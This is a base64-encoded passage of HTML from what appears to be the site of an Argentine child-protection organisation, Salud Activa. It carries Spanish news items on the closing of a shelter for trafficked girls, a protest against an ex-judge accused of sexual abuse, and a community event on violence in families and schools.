GRlIGxhIHNhbHVkLiBSZWNpZW50ZW1lbnRlIHR1dmltb3MgcXVlIGNlcnJhciBudWVzdHJvIHF1ZXJpZG8gSG9nYXI6ICZsZHF1bztNZXRhbW9yZm9zaXMmcmRxdW87IGVyYSBlbCBsdWdhciBxdWUgc3VwbyBjb250ZW5lciBhIG5pJm50aWxkZTthcyB5IGomb2FjdXRlO3ZlbmVzIHJlc2NhdGFkYSBkZSByZWRlcyBkZSB0cmF0YSBvIHYmaWFjdXRlO2N0aW1hcyBkZSBhYnVzbyBpbnRyYWZhbWlsaWFyLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAzLzA1LzIwMTM8L3NwYW4+PGJyPlJFUFVESU8gQSBMQSBQUkVTRU5DSUEgRU4gTEEgRkVSSUEgREVMIExJQlJPIERFIFVOIEVYIEpVRVogQUNVU0FETyBERSBBQlVTTyBTRVhVQUw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkZ1ZSBjYW1hcmlzdGEgZW4gTWFyIGRlbCBQbGF0YSBkdXJhbnRlIGxhIGRpY3RhZHVyYS4gSGFjZSBhJm50aWxkZTtvcywgdmFyaWFzIG11amVyZXMgbG8gYWN1c2Fyb24gZGUgaGFiZXIgYWJ1c2FkbyBkZSBlbGxhcyBjdWFuZG8gZXJhbiBuaSZudGlsZGU7YXMuIExhIGNhdXNhIHByZXNjcmliaSZvYWN1dGU7IHkgbm8gaHVibyBjb25kZW5hLiBNYSZudGlsZGU7YW5hIHRpZW5lIHByZXZpc3RvIGZpcm1hciBzdSBsaWJyby4gRXNhcyBtaXNtYXMgbXVqZXJlcyBwaWRlbiBxdWUgbm8gc2VhIGFkbWl0aWRvIGVuIGxhIGZlcmlhLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDIiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgIDwhLS0gRklOIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgIDwvdGFibGU+ICAgICAgICA8L3RkPgogICAgICAgIDx0ZCB3aWR0aD0iNSUiIGFsaWduPSJyaWdodCI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgPC90cj4KICAgIDwvdGFibGU+PC90ZD4KICA8L3RyPgogIDx0cj4KICAgIDx0ZCB3aWR0aD0iMSUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+Jm5ic3A7PC90ZD4KICAgIDx0ZCB3aWR0aD0iMiUiPjxpbWcgc3JjPSJpbWcvNXg1LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjE1IiAvPjwvdGQ+CiAgPC90cj4KICAKICA8dGQ+CiAgPHRyPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgICA8dGQgY29sc3Bhbj0iMiI+Jm5ic3A7PC90ZD4KICA8L3RyPgogIDx0ciBhbGlnbj0iY2VudGVyIj4KICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgPHRkIHdpZHRoPSI5NyIgY29sc3Bhbj0iMiIgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iNTQ2IiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBjbGFzcz0idGl0dWxvaG9tZTIiPjx0YWJsZSB3aWR0aD0iIiBib3JkZXI9IjAiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYWxpZ249ImxlZnQiIHZhbGlnbj0iYm90dG9tIiBjbGFzcz0idGl0dWxvaG9tZTIiPlJhbmtpbmc8L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGFsaWduPSJsZWZ0IiB2YWxpZ249ImJvdHRvbSIgY2xhc3M9InRpdHVsb2hvbWUyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iIiBoZWlnaHQ9IjM1IiBhbGlnbj0ibGVmdCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyNSIgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMjUiIGNsYXNzPSJjb250ZW5pZG9ob21lIj48c3Ryb25nPiZidWxsO0xhcyBtJmFhY3V0ZTtzIGxlaWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJjb250ZW5pZG9ob21lIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY29udGVuaWRvaG9tZSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbmlkb2hvbWUiPjxzdHJvbmc+JmJ1bGw7TGFzIG0mYWFjdXRlO3MgY29tZW50YWRhczwvc3Ryb25nPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yOTgiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTHVkb3RlY2EgR2FyYWJhdG8gLSBQcm95ZWN0byBzYWx1ZGFjdGl2YSwgUG9yIHVuYSBpbmZhbmNpYSBmZWxpeiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iOSUiIGJnY29sb3I9IiNFRkVGRUYiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzJSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xNjIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDUlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTE2MiIgY2xhc3M9ImJvdG9uIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDdXJzbyBJbnRlbnNpdm8gZGUgb3BlcmFkb3IgdGVyYXBldXRpY28gZXNwZWNpYWxpemFkbyBlbiBlbCBhYm9yZGFqZSBkZWwgYWJ1c28sIGxhIHZpb2xlbmNpYSB5IGVsIG1hbHRyYXRvIGluZmFudGlsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIlIiBoZWlnaHQ9IjIwIiB2YWxpZ249Im1pZGRsZSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+PGltZyBzcmM9ImltZy9mbGVjaGFuYXJhbmphZmdyaXNfMjQuanBnIiB3aWR0aD0iMTQiIGhlaWdodD0iNyIgYm9yZGVyPSIwIiBhbGlnbj0iYWJzbWlkZGxlIiAvPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDElIiBoZWlnaHQ9IjMwIiB2YWxpZ249InRvcCIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0yNDIiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUFJPR1JBTUEgTEFTIFZJQ1RJTUFTIENPTlRSQSBMQVMgVklPTEVOQ0lBUyAgTWluaXN0ZXJpbyBkZSBKdXN0aWNpYSB5IERlcmVjaG9zIEh1bWFub3MgZGUgbGEgTmFjafNuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI5JSIgYmdjb2xvcj0iI0VGRUZFRiI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjMlIiBiZ2NvbG9yPSIjRUZFRkVGIj4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3JmFtcDtub3RhPTI1NSIgY2xhc3M9ImJvdG9uIj48aW1nIHNyYz0iaW1nL2ZsZWNoYW5hcmFuamFmZ3Jpc18yNC5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSI3IiBib3JkZXI9IjAiIGFsaWduPSJhYnNtaWRkbGUiIC8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI0NSUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MjU1IiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIERpcGxvbWF0dXJhIGVuIEFib3JkYWplIGludGVyZGlzY2lwbGluYXJpbyBkZWwgbWFsdHJhdG8sIGxhIHZpb2xlbmNpYSB5IGVsIGFidXNvIHNleHVhbCBpbmZhbnRpbCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyJSIgaGVpZ2h0PSIyMCIgdmFsaWduPSJtaWRkbGUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQxJSIgaGVpZ2h0PSIzMCIgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MzAzIiBjbGFzcz0iYm90b24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNhbHVkIEFjdGl2YSBuZWNlc2l0YSBkZSB0dSBheXVkYSEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjklIiBiZ2NvbG9yPSIjRUZFRkVGIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMyUiIGJnY29sb3I9IiNFRkVGRUYiPiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmYW1wO25vdGE9MTA0IiBjbGFzcz0iYm90b24iPjxpbWcgc3JjPSJpbWcvZmxlY2hhbmFyYW5qYWZncmlzXzI0LmpwZyIgd2lkdGg9IjE0IiBoZWlnaHQ9IjciIGJvcmRlcj0iMCIgYWxpZ249ImFic21pZGRsZSIgLz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQ1JSIgYmdjb2xvcj0iI0VGRUZFRiI+ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZhbXA7bm90YT0xMDQiIGNsYXNzPSJib3RvbiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTGxhbWFkbyBwYXJhIHByZXNlbnRhY2nzbiBkZSB0cmFiYWpvcy4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjIwIiBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIyMCIgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGJnY29sb3I9IiNGRkZGRkYiIGNsYXNzPSJ0ZXh0b251ZXZvIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBjbGFzcz0idGV4dG9udWV2byI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgY2xhc3M9InRleHRvbnVldm8iPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIyIgY2xhc3M9ImJvdG9uIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90YWJsZT48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj4mbmJzcDs8L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KPCEtLSBJTklDSU8gbm90YSBjb211biAtLT4KICA8dHI+CiAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgIDx0ZCBjb2xzcGFuPSIyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogICAgPHRkPiZuYnNwOzwvdGQ+CiAgPC90cj4KICA8dHI+CiAgICA8dGQgd2lkdGg9IjElIj4mbmJzcDs8L3RkPgogICAgPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPjx0YWJsZSB3aWR0aD0iNTQwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgIDx0cj4KICAgICAgICA8dGQgd2lkdGg9IjI3MCIgdmFsaWduPSJ0b3AiPgoJCQkJPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTUvMDQvMjAxMjwvc3Bhbj48YnI+T3JnYW5pemFuIGpvcm5hZGEgc29icmUgdmlvbGVuY2lhPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjE1IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODAiIGNvbHNwYW49IjQiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPlNlIGNlbnRyYXImYWFjdXRlOyBlbiBsb3MgZmVuJm9hY3V0ZTttZW5vcyBxdWUgYWZlY3RhbiBhIGxhIGZhbWlsaWEgeSBlbiBsbyBxdWUgb2N1cnJlIGVuIGxhcyBlc2N1ZWxhcy48YnIgLz4gU2UgbGxldmFyJmFhY3V0ZTsgYSBjYWJvIGVsIGx1bmVzIDIzLCBlbiBlbCBDZW50cm8gQ3VsdHVyYWwgZGUgVG9zY2hpIHkgVHJlcyANCkFycm95b3MsIHVuYSBqb3JuYWRhIGRlIHJlZmxleGkmb2FjdXRlO24geSBkZWJhdGUgYWJpZXJ0YSBhIGxhIGNvbXVuaWRhZCBzb2JyZSANCiZsZHF1bztWaW9sZW5jaWEgZW4gbGEgZmFtaWxpYSB5IGVuIGxhIGVzY3VlbGEgeSBzdSByZWxhY2kmb2FjdXRlO24gY29uIGVsIGZyYWNhc28gDQplc2NvbGFyJnJkcXVvOywgb3JnYW5pemFkYSBwb3IgbGEgQXNvY2lhY2kmb2FjdXRlO24gQ2l2aWwg